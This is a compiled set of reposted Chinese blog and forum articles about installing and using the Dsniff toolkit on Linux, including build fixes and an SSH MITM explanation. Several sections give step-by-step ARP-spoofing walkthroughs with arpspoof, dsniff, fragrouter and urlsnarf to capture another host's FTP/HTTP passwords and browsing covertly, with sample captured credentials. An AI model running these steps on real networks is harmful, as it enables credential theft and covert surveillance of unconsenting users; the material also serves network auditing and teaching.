[指导]Linux下的sniffer——Dsniff

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

[转载]Linux下的sniffer——Dsniff
信息来源:
/forum-51-1.html
Dsniff是一个著名的网络嗅探工具包。

其开发者Dug Song早在1999年12月,以密歇根大学CITI 研究室(Center for Information Technology Integration)的研究成果为基础,开发了这个后来具有很大影响力的网络安全工具包。

Dug Song开发Dsniff的本意是揭示网络通信的不安全性,借助这个工具包,网络管理员可以对自己的网络进行审计,也包括渗透测试。

但万事总有其两面性,Dsniff所带来的负面作用也是―巨大‖的,首先它是可以自由获取的,任何拥有这个工具包的人都可能做―非正当‖的事,其次,Dsniff里面的某些工具,充分揭示了一些安全协议的―不安全性‖,例如针对SSH1和SSL 的MITM(Man-In-The-Middle)攻击工具—SSHmitm和Webmitm。

SSH1和SSL都是建立网络通信加密通道的机制,向来被认为是很安全的,但人们在具体使用时,往往因为方便性上的考虑而忽视了某些环节,造成实事上的不安全。

所以说,最大的不安全性,往往并不在于对安全的一无所知,而在于过于相信自己的安全。

Dub Song在2000年12月发布了Dsniff的v2.3版本,该版本支持OpenBSD、Linux、Solaris系统平台。

目前,最新版本是2001年3月发布的v2.4b1的Beta版。

Dsniff的下载网址:
/~dugsong/dsniff/
除了针对Unix系统的版本,从网上也可以得到Windows平台上运行的Dsniff早期版
作为一个工具集,dsniff包括的工具分为四类:
∙纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy
∙针对SSH和SSL的MITM(Man-In-The-Middle)―攻击‖工具,包括sshmitm和webmitm
∙发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof
∙其它工具,包括tcpkill、tcpnice
dsniff的安装Dsniff依赖于一些第三方的软件包:
openssl-0.9.7i.tar.gz
libnids-1.18.tar.gz
libpcap-0.7.2.tar.gz
libnet-1.0.2a.tar.gz
Berkeley db-4.7.25.tar.gz
我使用的操作系统是RHEL5
一、安装openssl
注意:这里都采用默认配置,如果要修改安装的目录,可以参考软件包里的install文件
用tar解压软件包后,执行三条命令:
1../config
2.make
3.make install
二、安装libpcap
用tar解压软件包后,执行三条命令:
1../configure
2.make
3.make install
三、安装libnet
用tar解压软件包后,执行三条命令:
1../configure
2.make
3.make install
四、安装libnids
用tar解压软件包后,执行三条命令:
1../configure
2.make
3.make install
五、安装Berkeley DB
用tar解压软件包后,执行
1.cd build_unix
2.../dist/configure
3.make
4.make install
六、最后安装dsniff
用tar解压软件包后,执行
1../configure
2.make
3.make install
七、演示(注:安装中过长的编译过程被我删减了)
安装完成后,默认dsniff的安装目录是/usr/local/sbin,在这里可以看到dsniff所有的工具
∙纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy
∙针对SSH和SSL的MITM(Man-In-The-Middle)―攻击‖工具,包括sshmitm和webmitm
∙发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof
∙其它工具,包括tcpkill、tcpnice
甚至可以―劫持‖整个会话过程(攻击者在其主机上通过OpenSSL提供的代码生成伪造的证书,以欺骗目标主机,使之相信就是有效的通信另一方,结果是,攻击者主机成了SSH安全通道的中转站)。

目前,对于SSH1,这种MITM攻击已经构成了严重的威胁。

MITM并不是一个新的概念,它是一种对认证及密钥交换协议进行攻击的有效手段。

通常,在SSH会话中,服务器首先会给客户端发送其公钥,严格来说,这种密钥的交换和管理应该是基于X.509这种公钥基础设施(PKI)的,但因为PKI 本身的复杂性导致真正应用了这种公钥管理机制的服务器非常少,所以,通常情况下,服务器只是简单的自己生成密钥对,并将其中的公钥发送给客户端。

客户端收到服务器的公钥后,必须独立验证其有效性。

通常,使用SSH的客户端会由sysadmin或其它账号来维护一个―密钥/主机名‖的本地数据库,当首次与某个SSH服务器建立连接时,客户端可能被事先配制成自动接受并记录服务器公钥到本地数据库中,这就导致可能发生MITM攻击。

其实,建立加密的安全网络都存在一个基本的问题,无论如何,某种程度上讲,加密通道的初始化连接总是建立在一个存在潜在危险的网络之上的,如果密钥交换机制并不健全,或者是根本就被忽略了,那之后建立起来的加密通道也形同虚设了。

按道理讲,SSH之类的协议本身是没有问题的,只要严格按照标准来建立加密及密钥交换管理机制(例如PKI),攻击者是根本不会有可乘之机的,可问题就在于,许多时候,为了使用上的方便,―复杂‖的保证技术就被人们抛之脑后了。

当然,一种协议如果其可用性并不很强,也许本身就是问题,现在,SSH2较SSH1已经有了较大改进。

具体来说,在某个SSH 连接建立之初,如果客户端收到一个未知的服务器端公钥,OpenSSH会有下列配置处理方式:
1.自动增加该公钥到本地数据库;
2.发出下面列出的警告消息,并询问用户是添加该公钥还是放弃连接;
------------------------------------------------------------------------
-- WARNING: HOST IDENTIFICATION HAS CHANGED! --
------------------------------------------------------------------------
IT IS POSSI BLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also
possible that the host-key has just been changed. Please contact your system administrator.
3.拒绝接受。

如果客户端对未知公钥的验证被取消了(或者客户端配置本身已经旁路掉了这个
过程),或者如果客户端保存已知主机CA证书的缓存被―毒害‖了,就很有可能导致攻击者发起MITM攻击。

从根本上讲,要防止MITM方式的攻击,用户自身加强安全措施才是关键,例如,密钥的初始交换也许可以换做其它方式(比如软盘),严格管理本地的证书列表数据库,对于出现的告警提示,应该仔细甄别,防止第三方的欺骗行为。

Y35!U的博客--耶稣Blog
/3hack_yesu/item/15aefaa3c9d10ed05af19169
耶稣的博客--QQ:114967639
2011-12-12 01:34
【转】dsniff使用笔记(1)
dsniff下载
/~dugsong/dsniff/
主要支持文件下载地址
ftp:///home/gomez/
/rh9_gcs_download/
/
/linux/rpm2html/search.php?query=libpcap
ftp:///linux/redhat/9/en/os/i386/RedHat/RPMS/libpcap-0.7.2-1.i386.rpm
dsniff常见问题
/~dugsong/dsniff/faq.html
-------------------------------------------------------------------------------------------------------------------
测试环境:Redhat9 VMWare
因为太晚了,我就不写详细了,从下午一直到深夜,终于安装成功了!靠的是坚持、再坚持,中间也想过放弃,但是我挺过去了,写这篇文章,希望帮助大家少走弯路。

1、用到的文件:
大小名称
188,480 bison-1.35-6.i386.rpm
13,124,129 db-4.7.25.tar.gz
126,797 dsniff-2.3.tar.gz
1,456,620 flex-2.5.35.tar.gz
4,518,355 gcc-3.2.2-5.i386.rpm
1,902,283 gcc-c++-3.2.2-5.i386.rpm
3,250,937 glibc-2.3.2-5.i386.rpm
12,419,241 glibc-common-2.3.2-5.i386.rpm
2,329,790 glibc-devel-2.3.2-5.i386.rpm
51,827 libnet-1.0.2a-2.i386.rpm
1,021,236 libnet.tar.gz
115,912 libnids-1.16-2.i386.rpm
154,465 libpcap-0.7.2-1.i386.rpm
1,273,366 libstdc++-devel-3.2.2-5.i386.rpm
3,459,643 openssl-0.9.8i.tar.gz
2、安装
首先,从官方网站下载安装文件,还有许多支持文件,需要安装。

可以参考的网站:
3、需要注意的地方
我只把我遇到的问题的地方列出来参考。

安装顺序:
3.0 g++ gcc问题
如果在安装db和dsniff之前有这方面的问题,应尽量先安装好下列文件先,: 使用命令rpm -Uvh ******.rpm 升级rpm包
3.1 berkeley db安装
(1)建一个db存放文件夹例如我用的是:/etc/db/db
(2)把安装文件解压缩到/etc/db/db/ 内
(3)cd /etc/db/db/
(4)进入这个目录cd /etc/db/db/build_unix 然后执行
../dist/configure
make
make install
(5)DB如果没有加/etc/db/db/ 内所有文件,然后新建一个/etc/db/db2/ 的文件夹,重新编译就好了。

3.2
现象:
解决方法:
adding into sshcrypto.c resolve this problem
#include <openssl/des.h>
#include <openssl/des_old.h>
#include <openssl/blowfish.h>
3.2
现象:
cp Makefile Makefile.bak
vi Makefile
modify this:
LDFLAGS = -ldl
3.3 关于安装
一般的安装过程为:./configure(./config) ,make ,make test,make install
在make有错误提示的情况下,不要执行make install,需要先解决make产生的问题。

如果make正常之后,看能不能执行make test,可以帮助找到问题或缺少的文件。

3.4 glibc问题
现象:提示
参考:/InstallingOracle9i.shtml#InstallingOracle9iR2OnRHAS4
解决方法:
如果你
When you bought the Red Hat 9 CDs in a store, then you will probably find glibc-2.3.2-5.i686.rpm on the first CD. This glibc version exports __ctype_b():$
/lib/i686/libc.so.6
/lib/libc.so.6
/lib/tls/libc.so.6
$
001315f8 D __ctype_b
00022340 T __ctype_b_loc
$
00133c58 D __ctype_b
000223a0 T __ctype_b_loc
$But when you downloaded Red Hat 9 from or from one of the mirror sites, then you will find glibc-2.3.2-11.9.i686.rpm on the image. This glibc version does not export __ctype_b(). This is also the case with glibc-devel-2.3.2-27.9.i386.rpm.$ /lib/i686/libc.so.6
/lib/libc.so.6
/lib/tls/libc.so.6
$
00131718 D __ctype_b@GLIBC_2.0
000223a0 T __ctype_b_loc
$
00133d58 D __ctype_b@GLIBC_2.0
000223f0 T __ctype_b_loc
$Check the glibc version on your system:
First check if the glibc packages on your RH 9 system work with the Oracle installer:$ If you got the following error mesages:package glibc-2.3.2-5 is not installed
package glibc-common-2.3.2-5 is not installed
package glibc-devel-2.3.2-5 is not installed
主要是因为:Red Hat 9 光盘上自带的是: glibc-2.3.2-5.i686.rpm,而从网上或其他站点下载的是glibc-2.3.2-11.9.i686.rpm.偏偏__ctype_b只有旧版本2.3.2-5有,而2.3.2-11.9或者新版本就没有了.所以要还原成就版本.
这里是glibc-2.3.2-5.i686.rpm的cd光盘rpm的链接
然后,
检查文件正确性
$
# # add Red Hat's PGP public key to the RPM database
#
glibc-2.3.2-5.i686.rpm: (sha1) dsa sha1 md5 gpg OK
glibc-common-2.3.2-5.i386.rpm: (sha1) dsa sha1 md5 gpg OK
glibc-devel-2.3.2-5.i386.rpm: (sha1) dsa sha1 md5 gpg OK
#
从上面的链接,下载这三个文件Downgrade glibc, glibc-common, and glibc-devel: 还原成就文件
# If you get the following error:error: Failed dependencies:
glibc = 2.3.2-11.9 is needed by (installed) glibc-debug-2.3.2-11.9
glibc = 2.3.2-11.9 is needed by (installed) glibc-utils-2.3.2-11.9
glibc-devel = 2.3.2-11.9 is needed by (installed) glibc-debug-2.3.2-11.9
glibc-devel = 2.3.2-11.9 is needed by (installed) nptl-devel-2.3.2-11.9then you can temporarily remove these RPMs (glibc-debug, glibc-utils, nptl-devel) from your system until you upgrade the glibc RPMs after your Oracle installation:#
3.5安装dsniff软件
很多人可能都是先安装dsniff,然后报一堆错,然后再慢慢找问题,我也是基本这样做的.
其中需要注意的是这里:
指定db位置,另一个,忘了.
GOOd luck!
浏览(18)评论转载
Linux下的Dsniff嗅探浅析
关于dsniff的理论介绍在网上已经有很多的文章,个人看过之后觉得也十分的有收获,这里主要介绍的是在linux下实现嗅探的一个小实例!
操作平台一台Windowns 7的主机和一台安装在vm ware下的一台linux主机,在linux主机上安装配置dsniff和vasftp服务器,之后以此两台主机为平台来实践!
首先是在linux主机上的安装和配置(配置好本机的Yum源即可,这里只编译安装Berkeley_db)这里使用的套件分别为:Dsniff、libnet、libpcap、openssl、postgresql-libs、apr、Berkeley_db
[root@localhost ~]# yum -y install libnet
[root@localhost ~]# yum -y install libpcap
[root@localhost ~]# yum -y install postgresql-libs
[root@localhost ~]# yum -y install apr
[root@localhost ~]# yum -y install dsniff
[root@localhost ~]# yum -y install openssl
接着下载安装Berkeley_db
Download (HTTP): /berkeley-db/db-4.8.26.tar.gz
免费下载地址在/
用户名与密码都是
[root@localhost ~]# tar zxvf db-4.8.26.tar.gz
[root@localhost ~]# cd db-4.8.26/build_unix/
[root@localhost build_unix]# ../dist/configure
--prefix=/usr --enable-compat185 --enable-cxx && make
[root@localhost build_unix]#make docdir=/usr/share/doc/db-4.8.26 install && chown -v -R root:root /usr/bin/berkeley_db_svc /usr/bin/db_* /usr/include/db{,_18 5,_cxx}.h /usr/lib/libdb{{,_cxx}.a,{,_cxx,_java,_tcl}-4.8.{so,a,la}} /usr/s hare/doc/db-4.8.26
接着是测试的部分
首先在linux虚拟机上打开两个虚拟窗口
其中一个窗口进行arp欺骗
[root@localhost ~]# arpspoof -i eth0 -t 192.168.1.1 192.168.1.188(1为网关ip地址,188为windows主机的ip地址)
另外一个端口进行嗅探
[root@localhost ~]# dsniff -c -f /etc/dsniff/dsniff.services
接着在windows主机上登陆虚拟机Linux的vsftp服务器 (可以得到以下的嗅探数据)
[root@localhost ~]# dsniff -c -f /etc/dsniff/dsniff.services
dsniff: listening on peth0
-----------------
10/15/11 03:16:36 tcp 192.168.1.188.61983 -> 192.168.1.192.21 (ftp)
PASS 721wyzj
USER anonymous
PASS User@
总结,dsniff嗅探是一个双方欺骗的原理,在两台正常数据交互的主机之间展开欺骗,骗取双方的数据,收集起来己用!
最后附录dsniff的参数
-c 打开半双工tcp流,允许在使用 arpspoof时进行正确的嗅探操作;
-d 启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的
服务
类型);
-I使用特定的
网络
接口;
-m 使用dsniff.magic文件通过在magic文件中定义的特征尝试
自动
判断协议;
-n 不执行主机查找;
-r 从前面保存的会话中读取被嗅探的
数据

-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;-t使用格式 port /proto =service;来加载一个以逗号界定的触发器集;
dsniff安装指南
/guotao_163/blog/static/236828220094258435149/
2009-05-25 08:43:05| 分类:安全技术|字号订阅
经过几天的不断测试,网上查找资料,终于在Red Hat Linux上把dsniff安装成功了,不容易啊,总结一下教训经验与大家分享。

安装的系统平台为:Red Hat Linux 9.0;
Dsniff版本为:dsniff 2.3;
所用到的软件包有:
1.系统自带的软件包
openssl-0.9.7a-2.i386.rpm
openssl-devel-0.9.7a-2.i386.rpm(注:也可以安装openssl-0.9.7i.tar.gz软件包,不过我在安装过程中没有办法卸载原来安装在系统中的openssl版本,因为已经安装的软件依赖openssl,只能使用系统自带软件版本,郁闷!!就是这个我在最新Redhat.Enterprise.Linux 5.3版本上没法安装成功。

由于dsniff版本很久都没有升级了,openssl版本太高存在兼容性问题,没法安装成功。


db4-4.0.14-20.i386.rpm
db4-devel-4.0.14-20.i386.rpm(注:也可以安装berkeley_db-4.6.21.NC.tar.gz软件包)
libpcap-0.7.2-1.i386.rpm(注:也可以安装libpcap-0.7.2.tar.gz软件包)
krb5-libs-1.2.7-10.i386.rpm
krb5-devel-1.2.7-10.i386.rpm
2.其它软件包
libnids-1.16.tar.gz
libnet-1.0.2a.tar.gz
注:能否安装dsniff成功关键是使用的软件包版本,版本太高存在兼容性问题,会出现很多问题,建议使用上述版本的软件包。

安装步骤:
1.安装openssl
rpm –ivh openssl-0.9.7a-2.i386.rpm
rpm –ivh openssl-devel-0.9.7a-2.i386.rpm
如果是openssl-0.9.7i.tar.gz软件包,就需要编译后才能安装。

把openssl-0.9.7i.tar.gz复制到/tmp目录,
tar zxvf openssl-0.9.7i.tar.gz
cd openssl-0.9.7i
./configure --prefix=/usr/local
make
make install
2.安装libpcap
rpm –ivh libpcap-0.7.2-1.i386.rpm
如果使用libpcap-0.7.2.tar.gz软件包,把libpcap-0.7.2.tar.gz软件包复制到/tmp目录,
tar zxvf libpcap-0.7.2.tar.gz
cd libpcap-0.7.2
./configure --prefix=/usr/local && make && make install
3.安装db4(berkeley_db)和krb5-libs、krb5-devel
rpm –ivh db4-4.0.14-20.i386.rpm
rpm –ivh db4-devel-4.0.14-20.i386.rpm
rpm –ivh krb5-libs-1.2.7-10.i386.rpm
rpm –ivh krb5-devel-1.2.7-10.i386.rpm
如果使用berkeley_db-4.6.21.NC.tar.gz软件包,把berkeley_db-4.6.21.NC.tar.gz软件包复制到/tmp目录下,
tar zxvf berkeley_db-4.6.21.NC
cd berkeley_db-4.6.21.NC
./configure --prefix=/usr/local && make && make install
4.安装libnet
tar zxvf libnet-1.0.2a.tar.gz
cd Libnet-1.0.2a
./configure --prefix=/usr/local && make && make install
5.安装Libnids
tar zxvf libnids-1.16.tar.gz
cd libnids-1.16
./configure --prefix=/usr/local && make && make install
6.安装dsniff
安装dsniff之前先设置一下这两个环境变量$PKG_CONFIG_PATH和$LD_LIBRARY_PATH;
export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH
export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH
可以执行下面的命令检查是否usr/local/lib/pkgconfig和usr/local/lib 路径分别已经设置在PKG_CONFIG_PATH 和LD_LIBRARY_PATH 环境变量中:
echo $PKG_CONFIG_PATH
echo $LD_LIBRARY_PATH
(注:设置这两个环境变量的具体用途是什么,可以查阅我的《ld.so.conf 文件与
PKG_CONFIG_PATH变量》文章)
现在正式开始安装dsniff
CFLAGS=-I/usr/kerberos/include ./configure
make
make install
安装成功后,在默认情况下dsniff会将工具放入usr/local/sbin中。

安装过程中出现的问题汇总:
问题一:
In file included from /usr/include/openssl/ssl.h:179,from sshmitm.c:18:
/usr/include/openssl/kssl.h:72:18: krb5.h: 没有那个文件或目录
In file included from /usr/include/openssl/ssl.h:179,from sshmitm.c:18:
/usr/include/openssl/kssl.h:132: parse error before "krb5_enctype"
/usr/include/openssl/kssl.h:134: parse error before "FAR"
/usr/include/openssl/kssl.h:135: parse error before '}' token
/usr/include/openssl/kssl.h:147: parse error before "kssl_ctx_setstring"
/usr/include/openssl/kssl.h:147: parse error before '*' token
/usr/include/openssl/kssl.h:148: parse error before '*' token
/usr/include/openssl/kssl.h:149: parse error before '*' token
/usr/include/openssl/kssl.h:149: parse error before '*' token
/usr/include/openssl/kssl.h:150: parse error before '*' token
/usr/include/openssl/kssl.h:151: parse error before "kssl_ctx_setprinc"
/usr/include/openssl/kssl.h:151: parse error before '*' token
/usr/include/openssl/kssl.h:153: parse error before "kssl_cget_tkt"
/usr/include/openssl/kssl.h:153: parse error before '*' token
/usr/include/openssl/kssl.h:155: parse error before "kssl_sget_tkt"
/usr/include/openssl/kssl.h:155: parse error before '*' token
/usr/include/openssl/kssl.h:157: parse error before "kssl_ctx_setkey"
/usr/include/openssl/kssl.h:157: parse error before '*' token
/usr/include/openssl/kssl.h:159: parse error before "context"
/usr/include/openssl/kssl.h:160: parse error before "kssl_build_principal_2" /usr/include/openssl/kssl.h:160: parse error before "context"
/usr/include/openssl/kssl.h:163: parse error before "kssl_validate_times"
/usr/include/openssl/kssl.h:163: parse error before "atime"
/usr/include/openssl/kssl.h:165: parse error before "kssl_check_authent"
/usr/include/openssl/kssl.h:165: parse error before '*' token
/usr/include/openssl/kssl.h:167: parse error before "enctype"
In file included from sshmitm.c:18:
/usr/include/openssl/ssl.h:909: parse error before "KSSL_CTX"
/usr/include/openssl/ssl.h:931: parse error before '}' token
make: *** [sshmitm.o] Error 1
解决方法:CFLAGS=-I/usr/kerberos/include ./configure&& make && make install
问题二:
./sshcrypto.c:25: error: field ‘key’ has incomplete type
./sshcrypto.c:30: error: expected specifier-qualifier-list before ‘des_key_schedule’
./sshcrypto.c: In function ‘blowfish_encrypt’:
./sshcrypto.c:131: error: ‘BF_ENCRYPT’ undeclared (first use in this function)
./sshcrypto.c:131: error: (Each undeclared identifier is reported only once
./sshcrypto.c:131: error: for each function it appears in.)
./sshcrypto.c: In function ‘blowfish_decrypt’:
./sshcrypto.c:143: error: ‘BF_DECRYPT’ undeclared (first use in this function)
./sshcrypto.c: In function ‘des3_init’:
./sshcrypto.c:156: error: ‘struct des3_state’ has no member named ‘k1’
./sshcrypto.c:160: error: ‘struct des3_state’ has no member named ‘k3’
./sshcrypto.c:162: erro r: ‘struct des3_state’ has no member named ‘k3’
./sshcrypto.c:164: error: ‘struct des3_state’ has no member named ‘iv1’
./sshcrypto.c:165: error: ‘struct des3_state’ has no member named ‘iv2’
./sshcrypto.c:166: error: ‘struct des3_state’ has no member named ‘iv3’
./sshcrypto.c: In function ‘des3_encrypt’:
./sshcrypto.c:176: error: ‘struct des3_state’ has no member named ‘iv1’
./sshcrypto.c:176: error: ‘struct des3_state’ has no member named ‘iv2’
./sshcrypto.c:178: error: ‘struct des3_state’ has no member named ‘k1’
./sshcrypto.c:178: error: ‘struct des3_state’ has no member named ‘iv1’
./sshcrypto.c:178: error: ‘DES_ENCRYPT’ undeclared (first use in this function) ./sshcrypto.c:179: error: ‘struct des3_state’ has no member named ‘k2’
./sshcrypto.c:179: error: ‘struct des3_state’ has no member named ‘iv2’
./sshcrypto.c:179: error: ‘DES_DECRYPT’ undeclared (first use in this function) ./sshcrypto.c:180: error: ‘struct des3_state’has no member named ‘k3’
./sshcrypto.c:180: error: ‘struct des3_state’ has no member named ‘iv3’
./sshcrypto.c: In function ‘des3_decrypt’:
./sshcrypto.c:189: error: ‘struct des3_state’ has no member named ‘iv2’
./sshcrypto.c:191: error: ‘struct des3_state’ has no member named ‘k3’
./sshcrypto.c:191: error: ‘struct des3_state’ has no member named ‘iv3’
./sshcrypto.c:191: error: ‘DES_DECRYPT’ undeclared (first use in this function) ./sshcrypto.c:192: error: ‘struct des3_state’ has no member named ‘k2’
./sshcrypto.c:192: error: ‘struct des3_state’ has no member named ‘iv2’
./sshcrypto.c:192: error: ‘DES_ENCRYPT’ undeclared (first use in this function) ./sshcr ypto.c:193: error: ‘struct des3_state’ has no member named ‘k1’
./sshcrypto.c:193: error: ‘struct des3_state’ has no member named ‘iv1’
make: *** [sshcrypto.o] Error 1
解决方法:
#include <sys/types.h>
#include <openssl/ssl.h>
#include <openssl/blowfish.h>←追加
#include <openssl/des.h>←追加
go linux嗅探工具Dsniff安装笔记
来源:本站转载作者:佚名时间:2011-06-20 14:27:00
/Article/html/3/8/2011/30957.htm
分享到:QQ空间新浪微博腾讯微博人人网
五、安装libnet
# tar zxvf libnet-1.0.2a.tar.gz
# cd Libnet-1.0.2a
# ./configure
# make
# make install
六、安装libnids
# tar zxvf libnids-1.18.tar.gz
# cd libnids-1.18
# ./configure
# make
# make install
七、安装BerkeleyDB
# tar zxvf db-4.7.25.tar.gz
# cd db-4.7.25/build_unix
# ../dist/configure --enable-compat185
# make
# make install
八、安装dsniff
# tar zxvf dsniff-2.3.tar.gz
# cd dsniff-2.3
# vi arp.c
加入#include "memory.h"
# ./configure --enable-compat185 --with-db=/usr/local/BerkeleyDB.4.7
# make
# make install
九、其它设置
# vi /etc/sysctl.conf
修改net.ipv4.ip_forward = 1
# sysctl -p
十、使用dsniff
# cp /usr/local/BerkeleyDB.4.7/lib/libdb-4.7.so /usr/lib
# cd /usr/local/sbin;ls
# ./dsniff --help
环境:
网关--> 192.168.0.1
A --> 192.168.0.123(CentOS+dsniff-2.3)
B --> 192.168.0.125(Cent0S)
目的:
使用A 嗅探B 的FTP、http登录密码
1. 使用arpspoof 对目标机实施ARP欺骗攻击
# arpspoof -i eth0 -t 192.168.0.125 192.168.0.1
2. 使用dsniff 取得指定端口的数据信息
# dsniff -i eth0 -t 21/tcp=ftp,80/tcp=http
Dsniff支持的协议类型包括:
FTP,T elnet,SMTP,HTTP,POP,NNTP,IMAP,SNMP,LDAP,Rlogin,RIP,OSP
F,PPTP,MS-CHAP,NFS,VRRP,YP/NIS,SOCKS,X11,CVS,IRC,AIM,ICQ,Napste r,ostgreSQL,Meeting Maker,Citrix ICA,Symantec,pcAnywhere,NA
I Sniffer,Microsoft SMB,Oracle QL*Net,Sybase及Microsoft SQL认证信息
利用ARP欺骗实现Sniffer目的(linux)
分类:综合技术2006-09-14 13:57 779人阅读评论(0) 收藏举报
利用ARP欺骗实现Sniffer目的
转自:蓝盾在线
通常在局域网环境中,我们都是通过交换环境的网关上网的,在交换环境中使用NetX ray或者NAI Sniffer一类的嗅探工具除了抓到自己的包以外,是不能看到其他主机的网络通信的。

但是我们可以通过利用ARP欺骗可以实现Sniffer的目的。

ARP协议是将IP解析为MAC地址的协议,局域网中的通信都是基于MAC的。

例如下面这样的情况:
在局域网中192.168.0.24和192.168.0.29都是通过网关192.168.0.1上网的,假定攻击者的系统为192.168.0.24,他希望听到192.168.0.29的通信,那么我们就可以利用ARP欺骗实现。

1、首先告诉192.168.0.29,网关192.168.0.1的MAC地址是192.168.0.24
2、告诉192.168.0.1,192.168.0.29的MAC地址是192.168.0.24。

这样192.168.0.29和192.168.0.1之间的数据包,就会发给192.168.0.24,也就是攻击者的机器,这
样就可以听到会话了。

但是这么做的有一个问题,192.168.0.29发现自己不能上网了,因为原来发给192.168.0.1的数据包都被192.168.0.24接收了,而并没有发给网关192.168.0.1。

这时候192.168.0.24设置一个包转发的东西就可以解决这个问题了,也就是从192.168.0.29收到的包转发给192.168.0.1,在把从192.168.0.1收到的包发给192.168.0.29。

这样192.168.0.29根本就不会意识到自己被监听了。

具体实现:
1、欺骗192.168.0.29,告诉这台机器网关192.168.0.1的MAC地址是自己(192.168.0.24)。

[********************]#./arpspoof-ieth0-t192.168.0.29192.168.0.1
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:7:71
0:0:21:0:0:18 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:0:21:0:0:18
………………………………..
这时候对192.168.0.29的ARP欺骗就开始了。

2、欺骗192.168.0.1,告诉网关192.168.0.29的MAC地址是自己(192.168.0.24)。

[********************]#./arpspoof-ieth0-t192.168.0.1192.168.0.29
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7:71
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b:4e
其实在这个时候192.168.0.29是可以发现的自己被欺骗了。

在CMD下面使用ARP –a命令:
C:/WINNT>arp -a
Interface: 192.168.0.29 on Interface 0x1000003
Internet Address Physical Address Type
192.168.0.1 00-50-56-40-07-71 dynamic
192.168.0.24 00-50-56-40-07-71 dynamic
两个IP地址的MAC地址居然是一模一样的!不过很少有人会这么做:-)。

3、设置一个包转发
[************************]#./fragrouter-B1
fragrouter: base-1: normal IP forwarding
在这之前别忘了首先需要打开包转发的功能
[root@Linux /proc]# echo 1 >/proc/sys/net/ipv4/ip_forward
万事具备,可以开始SNIFFER了。

例如想看看192.168.0.29在浏览什么地方:
[********************]#./urlsnarf
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]
Kitty[18/May/2002:20:02:25+1100]"GET
/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&ind ex=7 HTTP/1.1" - -
"/search?hl=zh-CN&ie=UTF8&oe=UTF8&q=fdfds&btnG=Google%E6%90% 9C%E7%B4%A2&lr=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Kitty - - [18/May/2002:20:02:28 +1100] "GET /ztyles/default.css HTTP/1.1" - -
"/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&ind ex=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
Kitty - - [18/May/2002:20:02:29 +1100] "GET
/spch.js?customerid=1147458082 HTTP/1.1" - -
"/flasile15596frm1.showAddReplyScreenFromWeb?topicID=29.topic&ind ex=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
当然也可以知道其他………:-)
整个过程需要在Linux下面实现,所用到的所有工具可以在
/downsniffer/arpsniffer.zip下载(2.98 MB)。

linux下用dsniff的tcpkill命令处理FIN_WAIT链接
2012-07-15 10:23:16来源:WE B开发网【减小字体增大字体】关注谷汶锴的微博
核心提示:在linux系统中,遇到TCP链接迟迟不能释放的情况,linux下用dsniff的tcpkill命令处理FIN_WAIT链接,类似FIN_WAIT1、FIN_WAIT2的状态,释放时间不确定,希望能对各位同仁有所帮助,过程如下:1、RHE L5.x系统中安装比较简单:wget http://apt.sw.be/redh
在linux系统中,遇到TCP链接迟迟不能释放的情况,类似FIN_WAIT1、FIN_WAIT2的状态,释放时间不确定,而且对应的程序已经关闭,相应的端口也不再监听,无法通过杀进程来解决,这种情况下,为了快速恢复正常,不得不采用重启服务器的方法加以解决,在经过各大网站搜索找到linu x下dsniff包中含有tcpkill命令,该命令可以将上述状态的TCP链接加以清除,进而免除服务器重启的情况,因为重启服务器有风险(机器可能宕机起不来),若是赶上节假日,机房工作人员不方便操作,就会严重影响业务正常运行,损失自不必说,自己评估吧,吼吼吼^_^
个人在RHEL 6 和RHEL 5.x系统中均做了安装,开始在RHEL 6中尝试以源码安装,由于依赖太多包,安装繁琐,最后采取rpm的安装方式,最终成功安装,现在加以总结,整理该文档,将网上部分文章加以汇总,希望能对各位同仁有所帮助,过程如下:
1、RHEL5.x系统中安装比较简单:
wget http://apt.sw.be/redhat/el5/en/i386/rpmforge/RPMS/dsniff-2.4-0.1.b1.el5.rf.i386.rpm
rpm -ivh dsniff-2.4-0.1.b1.el5.rf.i386.rpm
